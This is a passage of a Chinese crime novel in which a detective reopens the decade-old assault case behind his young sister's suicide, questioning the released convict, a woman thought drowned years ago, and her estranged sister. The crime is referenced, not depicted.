“江队长是在审问犯人吗?”
“我倒是不介意把你当犯人来审。”话虽这么说,他倒也换了个问题,“这些年你在哪里?既然没死为什么没回去?”
“回哪儿?回家吗?可我没家啊。”秋原一字一句说得平淡,但在江岩听来却大不一样。
“救助站着火是怎么回事?”
“你不应该都知道吗,嘉海的人干的。”
“具体怎么回事?”
秋原摇摇头,直视着他说:“碍事了就要除掉,多简单的事。”
“着火时你不在现场?”
秋原苦笑一声,此时的眼神让他觉得千万蚂蚁缠身,“你觉得我应该在是吧。”
江岩本无此意,但听她这么说也并未解释,依旧公事公办的表情,“你见姜雪峰是为什么?”
秋原不想回去,如果说此时让她回去那还不如当年就死掉。那段令人窒息的“亲人关系”,说到底也不过是钱,她宁愿一个人无根漂泊,也不想做个买来干活的“女儿”。
“你为什么见姜雪峰?”
他重复了一遍问题,秋原从思绪中抽离出来,思索着该如何回答他的问题,又能告诉他多少,他真的会把自己带回警察局吗,她真的会被送到沈家夫妇面前吗,想到这些,本燥热的心愈加沉闷。
“来看看他,做了坏事还怎么生活下去,”
江岩显然不相信她的解释,脸色不太好看,耐着性子说:“然后呢?”
“没有了。”
一阵沉默,秋原不敢看身旁的人,怕对上他犀利的眼神,怕自己无力招架他的“审问”。
“你住哪里,我送你。”
秋原不太相信自己的耳朵,不可思议地看着他。
江岩被看得发毛,仍冷着嗓音说:“你放心,我会搞清楚,不论是你,还是姜雪峰,我会给江黎一个交代。”
“不用了,谢谢,我自己回去。”
江岩知道她此时想的是不想让他知道自己住在哪儿,看穿了她心里的算盘,本想故意刁难,但瞥到她紧攥在一起的双手,没再说什么。等她下车,从后视镜看着她逐渐走远。
秋原把江岩丢在身后,步伐走得急促,回到市中心又拐了几个路口,这才放慢下脚步,停在一家店的玻璃橱前。她望着玻璃上的影子,无比的陌生。
她向来不喜欢看人的脸,更别说是直视对方的眼睛,平日里也很少照镜子,有时甚至记不起自己究竟长什么模样,觉得人的面孔没什么大的区别。此时看着玻璃窗上反映的人像,忍不住想她究竟是谁,沈泠还是秋原?
然而实际上,她谁都不是,沈泠和秋原都离开了,就像从楼上跳下去的江黎,一起从人世间消失了,只有很少仍记得她们存在过的人,能证明她们也曾鲜活地存在过。而玻璃窗前的她是被抛弃的,被当作物件买卖的,本就该没有名姓。
秋原借着姜海蓝同学的身份,又偷偷去找了两次姜雪峰,但都没什么收获,也不知他到底怎么想的,除了第一次见面意外表露的否认,当年的事什么都不肯说。
也不知道他遇到了什么事,从监狱出来后本就瘦弱而病态的身体,眼见着状态愈发糟糕。不仅是躯体上的问题,他看人的眼神也开始躲闪,尤其是工地上路过的人,盯着他看的话简直就像是在给他施刑一般,令他站立难安。他甚至还劝说秋原不要再来了,至于原因,又不肯说。
“我不认为你是凶手!”秋原冲着他离开的背影喊道,“你也,不这么觉得吧。”
姜雪峰停在原地良久,终于还是蹒跚着步伐回去了。
“哎你听说没,之前新来没多久的那人,刚才号子里出来!”
“谁谁谁?你是说走路猫着腰的那个?”
“对对对,就是他,老早以前还上过报纸呢!”
“看不出来啊!”
“是看不出来吧?不过都传遍了!你问问谁不知道!前几天老张那几个人合伙整他,把他捅到工头那儿了,愣是没一个人揭发老张他们,就是知道他犯过事!”
“啥事啥事啊?”
“你是不知道!□□!还是个小娃娃,小姑娘!几岁大!”
“我操!这还是人不!”
“可不嘛!要不那几个人能轮番了整他!这丧天理的事!这哪是人干的!”
“这畜生嘛!操!下次见着他,非揍他一顿不可!这人就该给个枪子了事,省得出来祸害!”
“可不谁知道这关了几年还好好地出来了!”
听到这儿,秋原蹑手蹑脚走开了,她本是来找姜雪峰,被他匆匆敷衍,什么都没问得,不甘心地在工地附近乱转,没想到听到了这事。
隐隐中,她感觉有些事要水落石出了,这让她愈发不安。
南区分局派出所,工地上聚众打架的人,几个人灰头土脸,裹着水泥干掉 发硬的工作服,蹲成一排,墙角一个头埋在双膝间,看不出什么特别,但仔细观察还是可以发现他脸上的伤格外严重。
“介绍一下,这是市局的江岩江队长。”
“江队长,这么晚了你怎么过来了?”说着两人握手示意了一下。
“我听说你们关了几个嘉海工地上的人?”
“有的,他们几个呀,打架关上一晚上就行了。”
江岩往屋里瞧了瞧,一眼认出墙角的人,指着他说,“那个人带过来,我有话要问。”
男人窝在折椅里,审问室只有他和对面的警察两人,光线昏暗,一个陈旧灯泡发出黄光,填不满小小的审问室,在墙面上投出巨大的阴影,像是有张牙舞爪的怪物潜藏其中。
“姜雪峰是吧?”
男人迟疑而怯懦地微微抬起头,又低了下去,轻微地点点头,动作轻得没发出一丝声响。
“说话!”
这一嗓子把姜雪峰吓了一跳,连连回答:“是,是,是。”
“哪儿人?”
“本,本地的。”
“干什么的?”
“在工地上
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。”
“为什么打架啊?”他的声音低沉,给人无形的压迫感。
“没,没什么事,说笑呢谁知道闹大了。”说着抬眼快速瞥了一眼对面的人,又迅速收回了目光。
“哟,那这玩笑可以啊,看你身上还有不少旧伤?”
“工地上干活,难免的。”说完还露出抱歉的笑了一下。
“刚出去才多久啊就皮痒痒?”
听到这句话,姜雪峰紧张得缩了缩肩膀,保持着怪异的姿势不动弹,这话像是把他的黑暗完整地揭露了出来。
“怎么进去的?”
江岩心里明知道答案,却还是想亲口问一问这个问题。
姜雪峰不答,江岩也不急,两人就这么僵持着。
江岩沉默了一会儿,转而说道,“这个人认识吗?”
姜雪峰看了一眼桌上推到面前的照片,不由得一惊,“她,她,”
“你知道些什么?”这一声像是黑夜的刀刃,划破了黑影,把姜雪峰的意志划了一道。
“我,我只知道,她是我女儿的同学。”
“你女儿的同学?姜海蓝的同学?她叫什么?”
姜雪峰摇摇头,“我只知道她是海蓝的同学,其他的……”
“她找你是为什么?”
“她……她问我些以前的事……”
“十年前的□□案?”
姜雪峰听到这儿猛地直起腰,靠在椅被上险些翻过去,瞳孔放大一脸不可置信。
对面的人匿身于黑暗之中,看不清容貌,只听得他冷笑一声,“姜雪峰,好久不见。”
姜雪峰惊恐得双手发抖,抓着眼前的桌子,“你,你是谁?不对,这里是警察局!”
那人眯起了双眼,似乎听到了什么不得了的事。
“你告诉过那个女生什么?”
姜雪峰难以从错愕中缓过神来,对面的人也不急,极有耐心地等他。
“你,你是警察?”
对面的人把胳膊放在桌子上,上半身靠近桌子,微弱的光散落在他棱角分明的脸上,“原来你也会怕啊?你怕什么?是我妹妹的冤魂?还是什么?”
“你,你是……”姜雪峰的双唇哆嗦着再难以言语。
“当年的事,给你个机会,还有什么要交代的?”
无声在黑暗中蔓延,啜泣声时不时打破这片沉入深海的静谧,在令人窒息的压迫中越陷越深。
良久,姜雪峰抬起头,一个大男人眼眶红红的,他郑重地低下头,“对不起!”
“道歉?你现在道歉,我妹妹不是白死了?她当时才八岁。”桌上江岩的手紧紧地攥成拳,面对眼前这个人他需要极大的力气克制住冲动。
江岩靠在椅子上,把自己藏匿于黑暗中,理了理情绪说道,“十年前有谁指使你这么做?或者说,你包庇了谁?”
“没……没有……是我……我不是人……”
“你,在害怕什么?”
姜雪峰不停地揉搓双手,看着他的意志一点点崩塌,江岩的心情愈加复杂。他既希望又不愿承认的猜测,似乎在他与侵害了妹妹的“□□犯”面对面坐着,迟到了十年时间,才得以验证。
“你别以为你出来了当年的事就过去了,不可能的,这辈子都不可能!”
13. 黑色飞鸦 09
“海蓝?”
“嗯?”姜海蓝抱着几本书上楼梯,听到身后有人叫她,停下脚步回头就看到了同住一个宿舍的舍友姚甜。
姚甜跑得急,还有些气喘吁吁,“体育课上,她们说的话,你别在意。”
姜海蓝接着上楼,满不在乎地“切。”了一声。
姚甜紧跟在其后,问道:“你这是自习呀?图书馆现在人挺多的,不知道还有没有座。”
见她还是不接话,姚甜绞尽脑汁想说些什么,谁知哪壶不开提哪壶,“对了,之前不是说有个男的跟踪你嘛?你跟老师说了吗?体育课上我好像又看见他了。”
走着走着的姜海蓝突然停了下来,侧过脸冷冷地看着她,“行了,你不用在我这儿假惺惺装好人,累不累?我都替你害臊。”
姚甜听闻这话有些尴尬,“对不起啊,之前我真不是故意的,我要知道她们……”
“她们怎么?知道我爸是□□犯的事整我?那我可还真谢谢你了,帮我做了次免费宣传,这下你称心如意了是吧?想笑就笑,不用装着一副无辜脸,我可没欠你。”
姜海蓝说完,准备离开,抬脚的时刻,注意到楼下闪过一个眼熟的身影,于是迅速转身返回。
“海蓝你不去自习了吗?”
“关你什么事。”说完匆匆下楼了。
“你谁啊?”一清脆的女声在背后响起,听这语调,并无什么好气。
秋原停下脚步缓缓转过身来,一女生皱着眉瞪着她。
“你监视他很长时间了,到底有什么企图?”
“你是,姜海蓝?”这还是秋原第一次如此近距离清清楚楚地看到姜雪峰的女儿,虽远远地看过几次,但由于她不记人脸的毛病,当真真切切地看到她的模样时,才发现她的样子跟姜雪峰,确实相像,他们是真正的父与女。
姜海蓝听到自己的名字愈发不满,没好气地说:“我是谁关你什么事?你在这儿鬼鬼祟祟的干嘛呢?”
这是两人第一次正面交锋,一点都不愉快。
姜海蓝性子直,说话带刺,不爽的事先怼上一通再说,这一点上来所,她又跟姜雪峰,准确来说是现在的姜雪峰一点都不像。
“姜雪峰,是你父亲?”
“他不是我爸爸,我爸爸早死了。”
她极力否定,一个显而易见的事实。
“那你,来质问我监视他,是为什么?”
“为什么?”姜海蓝冷笑一声,“我没搞错吧?干见不得人的事,是你吧?现在来问我?”
“我来找他,搞清楚一些事。”
“什么事?”
秋原轻描淡写地丢下一句“跟你无关”就要离开。
“你别走把话说清楚!”姜海蓝拉着她胳膊不松手。
“既然看到他了,就去看看他,不必跟我浪费时间。”说完撇下姜海蓝的手走了。
姜雪峰缓步出了校门,他这样的打扮在大学门口显得格外突兀,但这是他仅有的能见一见女儿的机会,在离操场很远的地方,看她一眼,弥足珍贵的机会,他不想放过。
他曾多次下定决心这就是最后一次了,可到了能见她的时候怎么也按耐不住,管不住自己的腿往学校跑,哪怕是模糊的人像,他都满是宽慰,让他无法喘息的生活谋得一份透气,令他那满是负罪的灵魂,短暂而可悲地,得到救赎。
他不知为何女儿的同学要骗他,女儿过得并不好,体育课上其他孩子还联手欺负她,纵使被老师制止,但他知道女儿会因此受伤,作为一个父亲却无法保护女儿,不是她值得骄傲的父亲,甚至是她痛苦的来源,这令他更加无法接受。这么多年,她从那么小的一个孩子,长这么大,不知这其中,她又曾经历过多少次这样的伤害,因为他而带来的伤害,可又无法挽回无力弥补。
校外的围栏,他忍不住回头再看一眼女儿的学校,却突然看到朝思暮想的女儿正走出来,他惊慌失措不知该怎么办,女儿显然看到他了,是再一次逃走?还是以一个出狱不久有案底的人来见她?
在他痛苦地难以做出决断之际,女儿已经走到了他面前。
“海,海蓝!”
“不要叫我名字!我不想从你口中听到我的名字!”
姜雪峰大惊失色,曾幻想过多少次的见面,纵使明知不会容易,真正直面时还是无比艰难,心里是刀割般的疼痛。
“对不起……”
姜雪峰俨然一个做错事的孩子,曾多少年前的角色对调,姜海蓝还是个小孩子时,犯了错站在姜雪峰面前,大气也不敢出,没想到这一幕会再次上演,只不过当时的人儿早已发生了巨变。
姜海蓝皱着眉,眼神里满是怒气,看着眼前佝偻着腰,垮下去的姜雪峰,毫无父亲的样子,脸上胳膊上不知从哪儿整来的伤。
“不要再出现在我面前,”她的声音格外冰冷,说出口后连她自己都惊了,却没法挽回,堵着气接着说了下去,“我没有爸爸,我爸爸早就死了。”
“死了”这两个字她咬得切齿,是她曾无数次想吼出口的话,没想到说出来,还是当着姜雪峰的面,可她一点都不得意,更没有泄愤的痛快感。
这一字一句,姜雪峰听得真切,他低着头不敢看海蓝,僵持了几秒钟,终于抬起了脚步,转身走了。
他转身的瞬间,轻声留下了句“对不起”,再没敢回头。
没有人看得见他眼底的空洞,唯一的色彩也被抹去,蒸发消失在这个在平常不过的日子里,路过的人撞到他的肩膀,咒骂一句“不长眼啊”便匆匆而过,而他继续走在那段没有了方向的道路上,跌跌撞撞,步履蹒跚。
姜海蓝看着他的背影,说不上来的感触,伤心,痛苦,生气,憎恨,无论哪一种都难以准确形容她此时复杂的心绪,她曾引以为傲的父亲,成了阶下囚,做了不可原谅的错事。而她是□□犯的女儿,这一称呼跟了她几乎整个长大的岁月,怎么甩也甩不掉。
不知为何,她的眼前突然出现许多年前的盛夏,她坐在父亲肩头张牙舞爪地抓夏蝉,“吱——吱——吱——”,响彻整个夏天的节奏,又一起在她耳畔响起,姜雪峰的笑声,她的笑声,就那么近,好
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像从没有远离过,近在咫尺之处。
一回头,母亲灿烂地笑着,迎接玩闹的父女两,父亲爽朗的笑声格外动听,他温暖的双手抓着她的腿带她飞。
本该是这样的。
她转身回校时,脸已经湿了。这么热的天,再汹涌的泪,也会很快蒸发干掉,没人会发现,她把自己隐藏得很隐蔽。不揭开伤疤,伤口便不会痛,她曾这么以为的。
姜海蓝进了校门,走在一排郁郁葱葱的银杏树下。
“你还没走?”姜海蓝站定,毫不友善地瞪着眼前突然出现的人。
“你相信,你父亲会□□少女吗?”
赤裸裸地听到这几个字,姜海蓝又一次感到屈辱,她咬牙切断地说:“不管我信不信,结果就是这样,怎么?你也想来讽刺我?我劝你省省吧,别想三两句话就让搞我,这么多年我都过来了,还会怕你?”说完还露出一副胜利者的姿态。
“我只是有些疑虑,他那么爱你,怎么还会做出这种事。”
“别说什么他爱我!”突然的嘶吼把路过的小女生吓了一跳,惊慌失措地快步走了,姜海蓝接着说:“他不配是我爸爸,我没有爸爸,别再出现我面前,我不认识他!”
说完直挺挺地走了。
大概是天气太热,大脑的思绪不受控制,浮浮沉沉跌跌撞撞,飘荡在无边无岸的海域之中。出事的那年,是家里最为困难的时候,母亲薛澜筠突发心脏病,住院费手术需十几万,家里东拼西凑四处求借的救命钱只是杯水车薪,一场病就把整个家拖垮了。
姜海蓝曾在黑夜里辗转难眠,听得母亲哀求父亲不要再治了,被父亲义正言辞地否决了,那时她还觉得有希望,因为有父亲在,这个家就有顶梁柱,一切就都有希望。
可她不知道的是,人在绝路时会做什么?常人大概是无法想象,她也难以想象,至少那时稚嫩而幼小的她是无法想到的。
亲戚朋友们劝慰母亲,也许是压力过于沉重,才会让他丧失理智,他本性不是这样的人。每当这种时候,母亲都是一言不发,直愣愣地望着窗外,直到那些说着安慰话的人离开。
有好心人的资助,母亲最后得以手术。
母亲从死神那儿抢回来了,但生活的那道坎,好像注定要降临,怎么也过不去,他们完整而幸福的家,被彻底摧毁了。
从那时起,父亲姜雪峰就从她生命中消失了,但消失不了的,是闲言碎语,冷嘲热讽,鄙视,欺负,打骂,很快这些就充满了她的生活,像是噩梦一般,怎么也醒不来,怎么也摆脱不了。
母亲从那之后很少言语,不惊不喜,生活似乎失去了她,什么都无法引起她的兴致,没有眼泪,没有哀号,淡然地接受了这个事实,比想象中更容易,更简单。
说得好像她有得选一样。
姜海蓝心中父亲的角色,逐渐被憎恨和愤怒填满,愈来愈深,难以自拔,自他关在监狱里,自母亲逐渐封闭自己。年幼无助的女孩倔强地长大了,迎着风雨,独自美丽,带着伤疤的美。那个家散了,没有谁能再给她庇护,谁都没能。
14. 黑色飞鸦 10
“你这是去哪儿?”乔树忍不住问道。
“人送到了,劳您老自行回去?”江岩关上车门,弯着腰对着驾驶座的乔树说道。
“真是不好意思,虽然我也不想当个跟屁虫,但高副局让我最近看紧点你。”说着无辜地抿嘴一笑,紧跟着下了车,隔着车,两人站对面。
江岩无语,面对乔树那张纯良无害实则笑里藏刀的脸,他回以一个假得不能再假的笑,算了这位也是祖宗,于是抬脚走了十几米钻进路边一家极不起眼的按摩店。
店里几个穿着暴露的女孩正忙着招待客人,一看来了两位仪表堂堂的两位男士,彼此之前心领神会地一笑,前台一位较成熟的女人笑着迎上来,一只手里叼着烟,另只手不安分地在江岩身前游走。
“唷,面生啊,两位帅哥第一次来?”女人轻轻地吐出烟圈,姿态神色都颇有韵味。
目睹这一幕的乔树险些绷不住,憋着笑恨不得趴在江岩脸上看看此时的他是什么表情,强压着冲动,观摩这出好戏。
“沈榕呢?是你们这儿的人吧?”江岩面无表情地说。
“唷,两位小哥第一次来,倒是挺会点人呐?不过不巧,小榕今儿休息,二位可扑了个空子呐。”说完发出谄媚的笑。
“行吧,赶个不巧,沈榕住哪?你可不会不知道吧?”
“这您说的,”女人说着,眼神在他身上上下打量,“小榕又不是我闺女,我呐还真不知道她住哪儿。”
江岩意味深长地环视了店内,张开双手掐腰,俨然一副誓不罢休的姿态,但言语上没有纠缠,“行,那我改日再来。”
女人目送着两位出去,跟随他们上了车,直到车开走,她才收回锋利的目光,换之以慵懒魅惑的眼神。
“铃姐今儿这客你怎么送走了呀?”一小姑娘拿着纸杯子咕咚一声吞了一大口水。
“还有客人在呢就这幅模样喝水?”被唤为铃姐的女儿掐了一把小姑娘胳膊。
小姑娘吃痛尖叫着跑开了。
铃姐灭了烟往内间走,踢开了房门,把床上的人揪了起来,吼道:“臭丫头你又哪惹了一身骚?”
床上只穿着吊带和内裤的女人跳起来挣脱开她的手,尖叫道:“□□哪儿又惹着你个老太婆了!”
“怎么说话呢你?”
被惊醒的女人满脸的怒气,翻了个大白眼,捏着细嗓子没好气地说:“铃姐铃姐您老有什么事呀?”
一副欠揍的摸样,要平时铃姐非揍一顿不可,今儿倒罕见地没跟她一般见识,稀奇。
“你干嘛了怎么有警察找你?”
“警察?警察找我干嘛?”
“我还想问你呢?你好好想想。”
“我哪儿知道!”说着坐回床上,“难不成又是我妈?不对上次给她气个够呛肯定还没缓过来呢!”
铃姐气不打一出来,指着她的脸说:“看看你自己成什么模样了,就这还指望你给老娘赚钱,这模样出去岂不把客都吓跑了。”
沈榕满不在乎地躺了下来,嘴里哼着小调,从床头柜上摸了个口香糖塞嘴里,她倒是不怕,铃姐又不会真把她赶走。
“你再待一会儿,晚点走,这几天先别来了,好好想想你干过什么事,真进局子里了可别怪我没提醒你。”说完扭着丰满的屁股一步一摇地走了。
沈榕致以她的屁股一个实在的白眼,喝了酒熬个通宵本睡得正香,被这老太婆一搅和毫无睡意,从椅子上的一堆女人衣服里抽出件短裤,踩上一双紫色的细高跟鞋,洗了把脸迅速画了个淡妆,趁铃姐不注意从后门悄悄溜了。
两人站在街尾的岔路口,一副鬼鬼祟祟的模样。
“江队,你说的那个沈榕,是沈泠的妹妹?”乔树规规矩矩地站成了棵树,江岩瞥见他的模样忍不住想笑,心里想真是对得起这名字。
“对。”江岩说完,眼睛紧盯着按摩店的后门。
没一会儿,走出来一个穿着艳丽露着白花花大腿的姑娘,嘴里叼着根棒棒糖,两只手灵活地将金色的大波浪发卷束起。
“你怎么知道她还在店里?”
江岩扯动嘴角,眼神不肯离开那姑娘,“本来不知道,还要多谢那位大姐。哎对了带证了没?”
乔树从口袋里翻出警官证,江岩一把抢过塞进裤兜里,乔树明白这家伙又没带。
沈榕将头发绑好,理了理衣服,心满意足地迈开大步,突然冒出来两人挡在面前,本就郁闷此时还有人敢来给她添堵,没好气地尖声说:“你们谁呀?不长眼啊会不会看路。”
江岩把乔树的证件一亮,颇有范儿地说:“警察。”
沈榕的嘴角不自然地扯了扯,真被这老太婆的乌鸦嘴说准了,看这阵势是跑不掉了,随即换上了一副娇媚的姿态,“两位哥哥,说吧,有什么事?”
这一幕让乔树想起了那位“大姐”,不过感觉倒是欠缺几分火候。
“方便吗?借一步说话。”
“行呀正好我饿了。”说完,越过两人往同一条街上的一家快餐店走去,看样子也是常客。
江岩和乔树四目相对,看这意思是跟上呗,两人一前一后。
快餐店里,沈榕自顾自毫不客气地点了一堆,沙拉薯条炸鸡可乐一样不少,摊在桌子上。
本就不是吃饭的点,店里没什么人,江岩和沈榕面对面坐着,乔树习惯性地拉了个凳子坐在江岩斜后方。
“沈榕是吧?”江岩靠在椅背上,坐得很没正形。
“要不知道我是谁,”她舔了舔嘴角,咽下嘴里的吃食,接着说:“你们会来找我?”
“好啊”,江岩胳膊撑在桌面上,“那我就不跟你废话了,沈泠是你姐姐,我没说错吧?”
沈榕手里的动作慢下来,毫无畏色地直视着他,“提她干嘛?”
“看来是了,她不是你父母亲生的,也不是你亲姐姐,这件事你应该知道吧?”
沈榕脸色略微变了,扔下手里的炸鸡,拿起可乐喝了一口,身子向后倾,眼睛看向窗外,憋出俩字,“知道。”
“你小学二年级的时候,学校里发生过一起学生被性侵事件,你还记得吗?”
“那么早的事早忘了。”沈榕瞥了他一眼,眼神很快又溜走了。
江岩饶有兴趣地观察着她,双手交叉撑着下巴,慢
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条斯理地说:“看来需要我提醒你一下啊,出事后不到十天,你姐姐也就是沈泠,从桥上失足掉下去,搜救无果被认定死亡,这你总记得吧?”
对面的沈榕放下翘着的二郎腿,两只手叠在一起,眼神飘忽不定,最后像是下定了勇气,开口说:“她都死了那么久了,你现在来纠缠我干什么?跟我有什么关系?”
“想起来了?”江岩满意地笑了,眼神却是冰冷地吓人,“性侵案发生那天晚上,沈泠有什么异常?”
“你们当年不是都调查过了吗?现在说这些干嘛?”沈榕狐疑地看着两人,怎么时隔多年,又来调查当年的事。
江岩闲散地向后一靠,眼睛微眯,对她的质疑充耳不闻,接着问:“那天晚上沈泠回到家是什么时候?”
“这么久了我怎么可能记得。”说着,眼神往一边瞥,但她实际清楚地记得。
“你应该已经想起来了吧,沈泠几乎从没有晚回家,出事前留校补课,也是在七点前到家的,可是那天……那天你父母都加班,沈泠也没有按时回来,你自己去楼下买的晚饭,还给沈泠带了一份,我说的对不对?”
见沈榕不说话,江岩接续保持着缓慢的语速,说道:“楼下炒饭小摊位的大妈,还很关心你怎么会下来买饭,因为即便你父母不在,沈泠也会做饭……大妈特意留意沈泠,直到她十点收摊,沈泠都没有回去,是这样没错吧?”
“你们到底要问什么?□□案也破了,沈泠都死了这么久了,你们到底要干嘛?什么时候流行起翻旧案了?有意思吗?”沈榕噌地站了起来,俯视着他吼道。
“你,还知道什么?关于沈泠,那天的任何事。”此时的乔树倒是真佩服眼前这人能耐着性子问这么多问题,很不像他平时的作风。
看对面警察那认真耐心的神情,沈榕泄了气坐下来,过了好大一会儿,才慢悠悠地说:“她头上有伤,不知道怎么搞的。”
“你怎么发现的?”
“早晨洗漱,她在卫生间梳头,被我撞见了,具体不清楚。”
“除此之外还有吗?”
“她那天的衣服上有破洞,还是她死之后,我妈要扔她的衣服,收拾出来发现的。”她还想起来她母亲骂咧咧地说沈泠败家,好好的衣服搞出个大洞,想到这些,她的心情越糟了。
“□□案发生后,她有跟你说过什么吗?”
“没了,我可以走了吗?”此时的她忍着一肚子气,要不是对面的人是警察,不知何时早就要爆发。
“那她有什么异常吗?”
沈榕长叹一声,“她本来就是个闷葫芦,胆子小逆来顺受的,好事赖事不管有什么都不说,谁能搞清楚她?一幅可怜巴巴的。出了事学校的人都挺针对她,我妈也嫌她,反正就是更闷了。”
“就这些?”
沈榕一脸的“不然呢”。
“行,没什么要问的了,谢谢你的配合。”江岩也站起来。
沈榕拿起可乐走人,末了留下一句“记得结帐。”
两人目送沈榕走出去,江岩一拍乔树的肩膀,“记得结帐!”说完越过他走了。
“哎你……”
15. 黑色飞鸦 11
“当年案子的大体情况,是姜雪峰骑摩托车,在小学附近的路上,也就是江黎和沈泠分开后的路上,遇到了独自行走的江黎,心生歹意,这才作案,并在犯案后把昏迷的江黎丢弃在垃圾场。”
乔树听着江岩这样讲述当年的案子,念着自己亲妹妹的名字,作为受害者,真不知他心里是何滋味。
“发生案件的时候正是其妻子薛澜筠检查出心脏病需要手术的时候。”乔树补充道,“而且据当时认识姜雪峰的人说,都觉得他为人正直,没有作案的倾向。”
“薛澜筠的手术后来怎么样了?”
“有人给她资助了一大笔钱,手术很顺利。”
“能查到是什么人资助的吗?”
乔树摇了摇头,颇有些无力地说:“不能,这个人什么信息都没有留下,谁也没有见过。”
“沈泠呢?”
“沈泠,也就是现在的秋原,”乔树贴出几张照片,“几次目击到她跟踪姜雪峰,工地上,姜海蓝的学校里,甚至直接与姜雪峰见面,谈话内容不详,但可以判定并不愉快,而且自从姜雪峰曾犯案的事情在工地上传开,两人只见过一次后再也没联系。”
江岩盘腿窝在椅子上,脸色沉重,一副若有所思的模样。
“秋原与这个案子到底有什关系?她很晚才回家,而且头上有伤,现在又如此关心姜雪峰这个人,到底……”
“愧疚?不是说因为给她补习功课,江黎才会在放学后留下来?”
“晚回家和伤口说不通,”江岩摇摇头,眼神依旧是空洞的状态,“而且她做这些事,已经超过了简单因为补习留下来的愧疚。”
“我觉得她可能有所隐瞒,为什么不直接把她带回来?”
江岩依旧摇头,这点乔树并不理解。当年的沈泠是最接近案发的人,也是跟受害者有过最后的接触,甚至可能注意到犯人的样貌轮廓等,就目前而言,过了十多年想重新查证此案的话,沈泠是个相当关键的人物,况且她已经改头换面,要是真再逃了可就连这最后的线索都没了。
乔树不想放过沈泠这条线,突然想到什么,开口问道:“那当年,她真就是在桥上失足掉下去的?这个时间点很奇怪。”
江岩沉默了一会儿,才说:“被沈榕从桥上推下去的。”
乔树震惊地看着他,又环顾了下四周,确认没有其他人在,压低声音问道:“当年的记录可不是这样,你怎么知道的?”
“我看见的。”
这下更是让乔树二度意外,张张口几次才说出话来,“你,你是说你亲眼看到,沈泠的妹妹沈榕,把沈泠从桥上推下去了?”
江岩放下盘起的腿,靠在椅子上,长叹一口气,像是呓语般,说道:“大概,沈榕也不是故意的吧。”
过了好一会儿,才又听到乔树的声音,幽幽地传来,“你恨秋,恨沈泠吗?”
江岩没有接话,直愣愣地望着天花板。
“你这么执着于沈泠,不仅仅因为她现在行为的古怪,而是这么多年你一直把你妹妹的死归咎于沈泠,是不是?”
过了会儿,几个有气无力的字飘过来,“别说了……”
乔树走上前揪住江岩的领子,第一次对他显露出这般愤怒的神情,直言道:“沈泠掉下桥后你也没有救她,是不是?”
小刘敲门的同时走进来,“江……”
看到眼前这一幕,很自觉地自己无视自己退了出去,飘忽着目光说道:“嗯,我还有报告没写完。”
江岩轻轻拨下乔树的手,坐直了身子,看着眼前站着的乔树,胳膊撑在膝盖上,很快,他低下了头,承认了,“对,我没有救她。”
乔树握着拳,眼睛看向别处,“你对沈泠的偏见,很可能导致现在侦察这个案子不能保持客观,沈泠是个关键的突破口,你认定她是犯人的话,怎么都突破不了。”
说完带上门走了。
江岩从小便是个随性磊落的人,让他郁结于心口这么多年的事,一个是妹妹,另一个就是对沈泠的见死不救。
那时的他很坚持,笃定沈泠跟妹妹的事有直接关系,奈何警察对她并无多加关注,案子草草了了,就这么翻了篇,而妹妹饱受折磨,甚至选择了结束生命,他不甘心,所以他跟踪沈泠,无意中发现她妹妹沈榕也在跟着她,两人在桥上发生争执,沈榕意外把沈泠推了下去,惊慌失措地跑了。
而他,像是解了心头恨般,悄悄离开。然而没多久他就后悔了,等他再去河里时,早已找不到人了。
警察在水边找到了沈泠的书包,自此沈泠失踪,所有人都认为她已溺死河中。这也成了他心里的又一根刺。
下午,秋原从睡梦中醒来,一觉醒来浑身酸痛,头嗡嗡地响,毫无睡醒后的神清气爽。浑浑噩噩中煮了点挂面,放了盐算是调味,端着碗坐在窗前的高凳上。
传来敲门的声音,她反应了几秒钟才意识到敲的是自己的房门,放下碗筷悄声趴在门上。
她没做声,敲门声竟也不止,她提起嗓子喊:“谁呀?”
“我是江岩。”
秋原靠在门上,她这么小心谨慎,还是被他找来了。
开了门,请他进来。
秋原抱着碗坐回高凳上,背对着他。
江岩习惯性地观察室内环境,狭小的空间里挤满了笨重的家具,比他想象中还要脏差,窗户被厚实的深色窗帘挡了一部分,仅有的光线还被秋原遮挡了些。
她穿着吊带上衣,佝偻着腰,可能是光线作用,整个人看起来格外瘦削。
“你就吃这?”注意到她碗里看起来毫无食欲的稀汤寡水,江岩皱着眉说。
“你来有什么事?”
江岩把一张照片放在她面前,照片上的秋原尾随姜雪峰,“你对姜雪峰,这么感兴趣?”
“我没做伤天害理的事,需要把我抓进警察局审问吗?”
早知她是如此脾性,江岩不与她置气,“姜雪峰的事在工地上传开了,你知道吗?”
秋原手里的筷子停住了,“你怀疑是我散播的?”
江岩倒没这么想,但并没有否认。见她不说话,他转身坐在小沙发上,很有耐心的模样。
“出事后,江黎很怕我,很怕旁人,只有我妈一个人能接近她,她什么都不吃,什么话都不说,五天后,跳楼了。
“我总觉得事
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情不会这么简单,为了给江黎一个清白,我考了警校,再去查当年的案子,可直到姜雪峰出狱,我都查不出什么破绽。”
秋原静静听着,她什么都知道,这么多年一次次回忆咀嚼,就怕自己忘掉,就怕自己淡忘掉当初的感触,她强迫自己记得那时的恐惧,无助,恶心,愧疚,痛恨,但是这么多年过去了,除了那些缠绕周身的记忆和感觉,其它什么都没有改变。
“姜雪峰承认他骑摩托路过小学,见到孤身一人的江黎,心生歹意这才犯案,对整个作案过程供认不讳,但是……”
“你刚说什么?”秋原回头追问他,“他骑着摩托车?”
“对,那天他从朋友处借了钱,喝了点酒,下雨天骑着摩托车回家。”
“他骑着摩托车,骑着摩托车……”秋原想起什么似的,重复着这几个字眼。
“有什么问题?”江岩绷直身子,急切地问道。
秋原把饭碗放下,坐在地上的小毯子上,抬起眼郑重地看着江岩,“我觉得,伤害江黎的凶手,不是姜雪峰。”
“为什么这么说?”
秋原开口回答,话到嘴边打了个弯,她看着江岩,他也在看着她,目光沉沉,两个人像是回到了多年前,出事的时候,站在下着雨的空无一人的街道上,审视着彼此。
即使他克制着自己保持冷静,她也能感觉到他眼中的热切。而她不是不知道他对自己多年来的仇视,从一开始就是,她敢告诉他吗。
江岩一句话也不说,静静地耐着性子等她,克制着心中的冲动。
终于她下定了决心,要是末路是自己引来的,那也赤脚走上去吧……
“和江黎分开后,我在路边避雨,发现远处路那边的江黎不动了,好像有人站在她面前,我觉得不对劲就跑过去,在我们分开的那个路口,被一辆摩托车撞晕,醒来时在一个很偏僻的地方,已经是半夜了。”
